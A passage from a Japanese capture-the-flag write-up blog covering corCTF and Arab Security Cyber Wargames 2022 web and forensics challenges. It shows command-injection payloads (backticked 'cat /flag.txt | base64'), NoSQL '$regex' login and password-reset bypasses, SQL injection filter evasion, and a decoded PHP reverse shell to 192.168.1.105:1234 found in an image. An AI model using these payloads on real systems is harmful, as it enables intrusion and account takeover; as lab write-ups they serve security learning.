,367,369,370,371,371,372,373,374,375,376,377,378,379,380,381,382,383,384,384,385,386,387,388,389,390,392,393,394,395,396,398,399,400,401,402,404,406,407,411,413,414,418,420,421,422,423,424,425,427,428,429,429,430,431,432,433,434,435,436,436,437,437,438,438,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,438,438,438,438,438,438,438,438,438,438,438,438,437,436,435,433,431,430,429,428,427,426,424,420,418,417,413,401,400,399,399,398,398,398,397,397,397,397,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,396,399,400,403,405,406,408,411,413,465,465,466,467,468,468,469,469,470,470,471,472,474,476,483,485,487,485,484,482,481,480,478,478,481,482,483,484,485,485,487,489,491,493,493,497,498,499,500,502,504,505,507,509,510,512,513,514,514,515,516,517,517,517,518,518,518,519,519,519,520,518,517,516,515,514,513,511,510,510,509,508,507,506,506,505,504,504,503,502,501,499,498,497,496,496,495,495,494,494,494,494,495,497,500,501,503,505,507,508,509,511,512,513,515,518,518,518,518,518,514,513,510,510,509,509,508,507,507,506,506,506,505,504,504,503,502,502,501,500,500,499,498,494,494,493,492,491,490,490,489,487,487,486,485,485,484,483,482,481,480,480,479,479,478,478,477,477,476,476,475,475,475,474,473,473,471,469,467,445,434,413,393]
ys = [10,20,31,39,39,37,34,34,30,29,26,25,22,21,20,19,18,16,15,14,13,13,12,12,11,10,9,8,8,9,10,12,16,17,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,41,42,45,47,48,49,50,51,53,54,56,57,58,59,60,61,62,64,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,64,63,63,62,61,60,60,59,58,57,56,55,54,52,51,49,45,44,40,37,35,34,33,29,28,26,25,23,21,20,18,17,16,15,14,13,11,10,9,9,8,8,8,9,9,9,9,10,10,9,12,15,16,18,18,20,21,21,21,21,21,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,19,19,19,19,19,23,25,27,28,30,32,32,33,33,32,31,30,29,28,28,31,32,33,34,35,36,37,39,41,42,44,45,46,47,47,48,49,50,51,52,53,54,54,55,55,55,55,55,55,55,55,55,56,56,57,57,58,59,60,61,62,63,63,63,63,63,63,63,63,63,62,62,62,62,62,62,62,63,63,63,63,63,63,64,64,64,64,65,65,65,65,65,64,64,63,63,62,62,61,60,60,59,58,55,53,52,49,48,43,39,38,35,33,31,30,28,26,25,23,21,20,19,17,15,14,13,12,11,10,9,9,13,14,15,16,18,22,24,25,26,27,28,29,30,31,32,33,34,35,39,40,42,45,46,48,50,51,52,54,55,56,57,58,59,59,59,59,59,59,60,60,60,61,61,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,61,60,60,59,59,58,58,58,57,57,57,56,56,55,54,54,52,51,50,49,47,46,45,44,43,43,42,41,40,39,38,37,36,35,33,32,31,30,29,28,27,26,25,24,23,22,21,20,20,19,19,18,18,17,16,15,15,14,14,16,17,18,19,20,21,19,18,17,16,15,14,13,12,11,10,9,9,13,14,19,20,21,22,23,24,25,26,30,31,33,34,35,34,34,33,33,32,32,32,32,33,34,35,36,37,37,38,39,40,41,39,39,38,35,34,32,30,29,28,27,26,24,23,22,21,21,20,19,18,17,16,15,14,13,13,12,11,11,14,15,16,17,18,19,19,20,20,20,21,23,25,27,32,35,38,41,43,44,46,47,48,49,49,49,50,51,52,53,54,55,56,57,58,59,60,61,62,62,62,62,61,60,59,58,57,56,55,54,54,53,52,52,51,50,50,50,50,49,48,48,47,46,46,45,44,44,43,41,40,39,38,37,36,35,34,32,30,29,28,27,26,25,23,21,21,20,19,19,18,17,17,16,15,14,13,12,12,11,10,10,13,14,15,16,18,19,19,20,21,22,23,24,26,27,32,34,37,39,39,40,38,37,36,35,34,33,33,41,42,43,44,45,45,46,47,50,52,53,55,56,58,59,60,60,59,58,57,56,55,55,61,62,63,63,60,54,51,48,45,42,40,35,33,30,28,26,24,23,22,20,19,17,16,15,13,12,11,10,9,8,9,10,11,12,14,16,17,18,19,19,19,20,21,23,23,24,26,27,29,31,32,34,39,41,42,46,45,48,49,50,51,52,53,54,54,54,55,56,56,57,58,59,60,61,62,62,62,61,61,60,60,59,59,58,57,57,56,55,54,53,52,50,49,46,44,39,35,33,31,30,29,28,26,26,26,26,26,26,26,26,26,25,24,24,23,23,22,22,21,21,20,20,19,18,18,17,17,16,15,15,14,13,12,12,11,10,9,9,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,36,37,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,58,59,59,59,60,60,61,61,61,61,61,61,62,62,62,63,63,63,63,63,63,64,64,64,64,64,64,64,64,65,65,65,65,65,65,65,65,65,65,64,63,62,62,61,60,58,56,53,52,51,50,49,48,47,47,47,46,45,45,44,43,43,41,39,38,38,37,36,36,36,35,35,34,34,33,33,32,30,30,28,27,26,24,23,22,21,20,19,18,17,16,16,15,14,13,12,12,11,11,13,14,15,16,17,18,19,22,23,23,24,26,27,29,31,33,34,34,35,35,35,36,37,38,39,40,42,42,43,44,45,43,41,41,39,38,37,36,34,33,33,33,34,44,44,45,46,46,47,48,48,49,50,51,52,53,53,54,55,55,56,56,57,57,57,58,56,55,54,54,54,55,56,58,60,61,62,63,64,65,65,64,63,63,62,61,58,57,54,52,51,49,46,44,41,39,35,34,31,30,28,26,23,22,21,20,20,19,18,17,16,15,14,13,12,11,11,12,13,15,16,17,18,18,19,21,22,22,23,24,26,27,28,30,33,38,41,45,46,47,49,51,52,53,55,56,58,58,58,58,58,58,58,58,57,56,56,59,60,60,61,62,62,62,62,61,60,58,58,58,58,58,58,57,56,55,53,52,48,46,42,40,39,36,34,33,32,31,32,32,32,31,29,27,26,25,25,24,23,23,21,21,19,19,19,18,18,18,18,16,15,13,11,14,14,14,14,14,13,13,13,12,14,16,17,18,19,21,22,23,24,25,26,27,28,31,32,33,34,34,35,36,37,37,38,39,40,41,42,43,44,45,45,46,47,48,49,50,51,52,53,54,55,56,59,61,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,64,64,64,64,64,64,64,64,65,65,64,63,63,62,62,62,62,61,61,60,60,59,59,58,58,58,58,58,58,57,57,57,56,56,56,55,55,54,53,51,50,49,48,47,45,44,42,34,33,31,28,24,23,21,21,19,18,18,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,20,20,21,21,21,21,22,22,22,22,23,23,22,22,21,20,21,22,23,25,26,34,36,37,38,39,40,41,42,43,43,44,45,46,47,48,49,50,51,52,53,54,56,57,58,59,60,61,63,64,64,64,64,64,64,64,64,65,65,65,65,65,65,65,65,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,66,66,66,66,66,66,66,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,67,67,66,66,64,63,58,56,53,51,48,44,40,37,35,34,32,29,27,27,27,26,25,24,23,22,21,20,17,16,16,18,19,27,28,29,30,31,32,33,35,36,37,38,39,40,41,42,43,44,45,45,46,47,48,49,50,51,52,53,53,54,55,56,57,58,60,61,62,63,63,63,63,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,65,65,65,65,65,65,65,65,65,65,64,63,62,62,61,58,56,55,53,51,47,44,42,40,37,35,34,32,31,29,24,22,22,18,20,21,22,23,24,25,27,28,28,29,30,31,32,32,33,34,35,36,36,37,37,38,39,38,38,37,36,36,35,34,33,32,32,31,29,26,25,25,24,23,23,22,22,24,27,28,29,29,30,31,31,32,33,34,35,35,36,36,37,38,38,39,39,39,40,41,42,43,44,45,46,46,47,48,49,50,51,52,53,54,55,56,57,58,58,59,60,61,62,63,64,64,64,63,60,58,57,56,55,54,53,51,49,47,42,41,38,34,33,32,31,30,30,28,27,26,25,24,23,23,21,21,20,20,18,17,19,20,22,23,24,25,28,29,30,31,31,33,34,35,36,37,39,41,41,42,43,43,44,45,45,46,46,47,48,48,49,49,50,50,51,51,52,53,54,55,55,56,58,58,59,60,61,62,63,64,63,63,62,62,61,61,59,59,58,57,57,56,55,54,52,51,50,48,47,46,45,44,42,42,44,45,45,46,47,47,48,48,49,49,50,50,52,54,55,56,57,58,58,59,62,63,64,65,66,66,67,66,65,65,64,63,62,61,60,58,56,53,51,50,49,48,47,43,42,41,40,39,38,36,36,35,33,32,31,30,30,29,28,27,25,24,23,21,20,18,17,17,17,17,17,17,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,18,18,18,18,17,17,17,16,16,16,17,18,18,18,18,18,18,18,17,17,17,17,17,16,16,16,15,15,15,15,15,15,14,14,14,14,14,14,14,15,16,17,19,21,22,23,24,32,33,34,36,37,38,39,41,42,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,60,61,62,63,63,63,63,63,63,63,63,63,63,63,63,64,64,64,64,65,65,64,63,62,61,60,60,59,58,57,55,54,53,52,50,49,48,47,46,45,44,43,42,41,40,39,38,37,36,35,34,33,32,31,30,29,28,27,26,25,24,23,23,22,20,19,18,16,14,12,10,9,9,11,12,14,15,16,16,17,17,18,18,19,19,20,22,22,23,23,22,22,22,21,20,20,23,24,25,26,26,27,29,30,32,34,35,39,40,41,42,43,45,45,46,47,49,49,50,50,51,52,53,55,56,57,57,58,59,59,60,61,61,61,60,60,59,58,58,57,57,56,56,56,55,55,54,53,53,52,52,51,49,47,47,46,46,45,45,44,44,43,43,42,41,40,38,37,35,31,29,29,27,26,25,24,22,19,18,17,16,16,23,23,26,27,28,29,30,30,31,31,32,33,34,34,35,36,37,38,39,39,40,40,41,45,46,47,48,49,50,51,52,53,54,55,55,56,57,58,59,60,60,61,61,62,63,64,64,65,65,66,66,67,67,67,66,65,64,63,61,44,37,23,12]

draw = ImageDraw.Draw(img)

for x, y in zip(xs, ys):
    draw.point(((x, y)), fill=(255, 255, 0))

img.save("out.png", quality=95)

文字が浮かび上がってくるので、フォーマットを合わせて、フラグとする。

corctf{LILYXOX}

[web] jsonquiz

jsonの問題サイトが表示される。
真面目にやると大変そう。

プロキシログを見ていくと/assets/js/quiz.jsというのがある。
ここに

fetch("/submit", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "score=" + score
}

というのがあり、/submitへ結果をPOSTするっぽい。

POST /submitでとりあえずscore=100のように送って100点を出してみるとフラグが得られた。

corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}

[web] msfrog generator

あまり、攻撃できそうなポイントがない。
GET /のレスポンスを見ると<!-- NOTE: There is no (intended) vuln in the frontend, please don't waste your time digging into the JS ;) -->とあるので、おとなしくPOST /api/generateを見ていくことにする。

こんな感じで座標を文字列にしてエラーを出してみる。
[{"type":"msnose.png","pos":{"x":"bad","y":0}}]

Something went wrong :
b"convert-im6.q16: invalid argument for option `-geometry': +bad+0 @ error/convert.c/ConvertImageCommand/1672.\n"

ググってみるとimagemagickですね。
コマンドインジェクションかな?

[{"type":"msnose.png","pos":{"x":"`sleep 10`","y":0}}]

のようにすると10秒のwaitがかかったので動いていそう。
HTTPリクエスト経由で結果を得たいが、うまく刺さらないのでインターネットにはつながっていないのかも。

よくよく見るとエラーメッセージに入力が入ってきているのでこれを使えば情報が抜き出せそう。

"x"部分を

"x":"`ls -la | base64`"

のようにすればbase64エンコードされた結果が抜き出せたが、出力文字数には制限があるみたい。
でもフラグを得るには十分だった。

"x":"`ls / | base64`"

で/flag.txtがあるのがわかる。

"x":"`cat /flag.txt | base64`"

でフラグ獲得。

corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}

Arab Security Cyber Wargames Championship 2022 Qual Writeups

CTFtime.org / Arab Security Cyber Wargames 2022 Qualifications

[Forensic] Persistent Ghost

Windowsで永続化と言えばASEP(:AutoStart Extensibility Points)を悪用したものなので、関連キーワードで検索していく。

RunOnceで検索すると、

Key Name:          HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Class Name:        <NO CLASS>
Last Write Time:   7/24/2022 - 9:10 PM
Value 0
  Name:            OneDrive
  Type:            REG_SZ
  Data:            "C:\Users\CAIOS\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background

Value 1
  Name:            Part-II
  Type:            REG_SZ
  Data:            yZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci


Key Name:          HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Class Name:        <NO CLASS>
Last Write Time:   7/24/2022 - 10:10 PM

こんな感じのものが見つかる。
最初はスルーしたが、Part-IIという意味深なものがあるので、Part-Iで検索するとIからIIIまであった。
全部持ってきて結合すると、以下のようにいかにもbase64

aW1wb3J0IHdpbjMyc2VydmljZXV0aWwKaW1wb3J0IHdpbjMyc2VydmljZQppbXBvcnQgd2luMzJldmVudAppbXBvcnQgc2VydmljZW1hbmFnZXIKaW1wb3J0IHNvY2tldAoKCmNsYXNzIEFwcFNlcnZlclN2YyAod2luMzJzZXJ2aWNldXRpbC5TZXJ2aWNlRnJhbWV3b3JrKToKICAgIF9zdmNfbmFtZV8gPSAiQVNDV0d7IgogICAgX3N2Y19kaXNwbGF5X25hbWVfID0gIlAzcnMxc3RlbmMzXzFzIgoKICAgIGRlZiBfX2luaXRfXyhzZWxmLGFyZ3MpOgogICAgICAgIHdpbjMyc2VydmljZXV0aWwuU2VydmljZUZyYW1ld29yay5fX2luaXRfXyhzZWxmLGFyZ3MpCiAgICAgICAgc2VsZi5oV2FpdFN0b3AgPSB3aW4zMmV2ZW50LkNyZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci5QWVNfU0VSVklDRV9TVEFSVEVELAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoc2VsZi5fc3ZjX25hbWVfLCcnKSkKICAgICAgICBzZWxmLm1haW4oKQoKICAgIGRlZiBtYWluKHNlbGYpOgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICB3aW4zMnNlcnZpY2V1dGlsLkhhbmRsZUNvbW1hbmRMaW5lKEFwcFNlcnZlclN2YykKICAgIHByaW50KCJzazFsbHp9Iik=

デコードすると

import win32serviceutil
import win32service
import win32event
import servicemanager
import socket


class AppServerSvc (win32serviceutil.ServiceFramework):
    _svc_name_ = "ASCWG{"
    _svc_display_name_ = "P3rs1stenc3_1s"

    def __init__(self,args):
        win32serviceutil.ServiceFramework.__init__(self,args)
        self.hWaitStop = win32event.CreateEvent(None,0,0,None)
        socket.setdefaulttimeout("1337_Hackerz_")

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,
                              servicemanager.PYS_SERVICE_STARTED,
                              (self._svc_name_,''))
        self.main()

    def main(self):
        pass

if __name__ == '__main__':
    win32serviceutil.HandleCommandLine(AppServerSvc)
    print("sk1llz}")

もうほぼほぼ答えですね、、、
適当につなげてフラグを作る。

ASCWG{P3rs1stenc3_1s1337_Hackerz_sk1llz}

[forensic] Walk Down Memory Lane (2)

ダンプファイルなので、WinDbgを開いて…と思ったが、strings Microsoft.dmp | grep ASCWGとしたらフラグっぽいのが出てきて、提出したら正解だった…

ASCWG{W1ndbG!$Sup3R_C0o1}

修正版も適当にgrepしたら解けました…
ずるをしました。(懺悔)
前問の出力を見ながら適当にgrepするとそれっぽい文字列が出てくる。
strings Microsoft.dmp | grep "\id="でフラグっぽいのが出てきたから、提出したら答え。

[forensic] Warmup 1

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Wireless]
@="192.168.1.134"

これがそれっぽい。sha1sumでハッシュを作り、フォーマットを合わせれば正解だった。

$ echo '192.168.1.134' | sha1sum
7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7  -

ASCWG{7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7}

[forensic] Warmup 2

strings Challenge.jpg -n 10すると、何やらコード片が見つかる。

%20%24sock%3Dfsockopen%28%22192%2E168%2E1%2E105%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

URLデコードすると

$sock=fsockopen("192.168.1.105",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

IPアドレスが得られたので、sha1sumして形式を合わせて提出。

─$ echo '192.168.1.105' | sha1sum
cc0e30c2dc233fc58591c987c4eaf751ff25132b  -

ASCWG{cc0e30c2dc233fc58591c987c4eaf751ff25132b}

[forensic] Weird FS

FTK Imagerでとりあえず開く。
探索すると、Partition 1のvolume_0/root/Flag.zipというのがある。
解凍しようとするとパスワードを聞かれるのでjohnとrockyouでクラックを試す。

$ zip2john Flag.zip > h
ver 1.0 efh 5455 efh 7875 Flag.zip/Flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=35, decmplen=23, crc=A0A972CC ts=904C cs=904c type=0

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
...
juelma           (Flag.zip/Flag.txt)     
...

パスワードはjuelmaのようなので解凍するとフラグが得られる。

ASCWG{M4C_4N6_1$_Co0l}

[web] konan

adminと打つと次に進む。
OTPを要求されるが、適当に打ってもダメ。
OTPを送るときにPOST /otp/verifyを送信するが、その応答のerrorsをinterceptしてfalseに変えてやるとOTP検証をbypassできる。
HackerOneか、BugBountyのWriteupでこういうbypass方法見たことあるな。

ASCWG{@$CASQWsd#w8_3232_xasw_xas@1da_easy}


以下復習

[web] Drunken Developer

ログインする必要がある。
ソースを見ると<!-- Temp mail in development time wars_admin2@vistaemail.com -->とあるのでアドレスはわかった。 このvistaemail.comというのは捨てアドサービスであり、検索すれば受信フォルダがみられる。
なので、あとはパスワード変更をこの受信フォルダを使って行ってログインする。

[web] Evil Volunteer

Arab Security Cyber WarGames - Championship 2022 | Mr-R19HT

あーなるほど、画像ファイルをそのまま出力することができるので、コメントにphpコードを埋め込めばRCE可能。

[web] Kenzy

ソースコード<!-- Username =====> admin -->とあるので、ユーザー名はadmin。
captchaはレスポンスに答えが載っているのでそれを渡すだけでbypass可能。
あとはパスワードに' or ''='を入れるとSQL injectionができたので、captchaをbypassしながらBlind SQL Injectionするとフラグが得られる…はず

はずだが、何かに阻まれて刺さらない…

ASC Wargames Qualifications 2022| Kenzy | Web Challenge Write-up | by Adham A. Makroum | Aug, 2022 | Medium

フィルタあったのね。ソースコードを下さい…

空白を/**/にして、orはフィルタされるのでoorrとしてbypassする。
あとは、頑張る。

[web] Doctor-X

適当にエラーを出すと、nosqlという文字が見える。

SyntaxError: Unexpected string in JSON at position 33<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse (/home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp; &nbsp;at /home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/read.js:128:18<br> &nbsp; &nbsp;at AsyncResource.runInAsyncScope (node:async_hooks:202:9)<br> &nbsp; &nbsp;at invokeCallback (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:231:16)<br> &nbsp; &nbsp;at done (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:220:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:280:7)<br> &nbsp; &nbsp;at IncomingMessage.emit (node:events:539:35)<br> &nbsp; &nbsp;at endReadableNT (node:internal/streams/readable:1345:12)<br> &nbsp; &nbsp;at processTicksAndRejections (node:internal/process/task_queues:83:21)

POST /loginで色々やると

evilman1:evilman1というアカウントを作っておくと
{"name":{"$regex":".*"},"password":"evilman1"}でログイン可能なことに気が付く

同様の手口で色々やっていくと
POST /updatepassword{"id":1,"password":{"$regex":".*"},"newpassword":"kpwiMh88kYPVWX2"}のようにやると特定のidのパスワードを変更できる。
あとは、そのパスワードを使って、POST /login{"name":{"$regex":".*"},"password":"kpwiMh88kYPVWX2"}みたいにすると特定のidにログイン可能。

id=1のユーザーにログインしてPOST /testしてみる

{"_id":"62ed0c4b003ed8a54d5da449","name":"Admin_Cyber_War_Games","id":1,"desc":"Try_Harder","passwords":[{"password":"V3ry_H@rd_P@$$word_2022","_id":"62ed0c4b003ed8a54d5da44a"},{"password":"evilman3'","_id":"62ed4313f1a15a49331a1a58"},{"password":"kpwiMh88kYPVWX","_id":"62ed4322f1a15a49331a1a5b"},{"password":"kpwiMh88kYPVWX","_id":"62ed4347f1a15a49331a1a60"},{"password":"kpwiMh88kYPVWX","_id":"62ed4354f1a15a49331a1a65"},{"password":"kpwiMh88kYPVWX","_id":"62ed435af1a15a49331a1a6b"},{"password":"kpwiMh88kYPVWX2","_id":"62ed4371f1a15a49331a1a6e"}],"tokens":[{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwibmFtZSI6IkFkbWluX0N5YmVyX1dhcl9HYW1lcyIsImlhdCI6MTY1OTcxNjQ2OCwiZXhwIjoxNjU5ODAyODY4fQ.lj3Dkm3fc5DE65d0d9lNQvLfFwBnpftqllSFZhuXkB8","_id":"62ed4374f1a15a49331a1a71"}],"__v":7}

んあー、まだ何かあるのか…
なにがあるの?

ASCWGs Qualifications 2022 CTF ウェブ チャレンジ ライトアップ | ムハンマド・アデル

あ、これでログインすると別のエンドポイントが出てくるのか。
そっちを同じ手口で探索していくとフラグが得られる。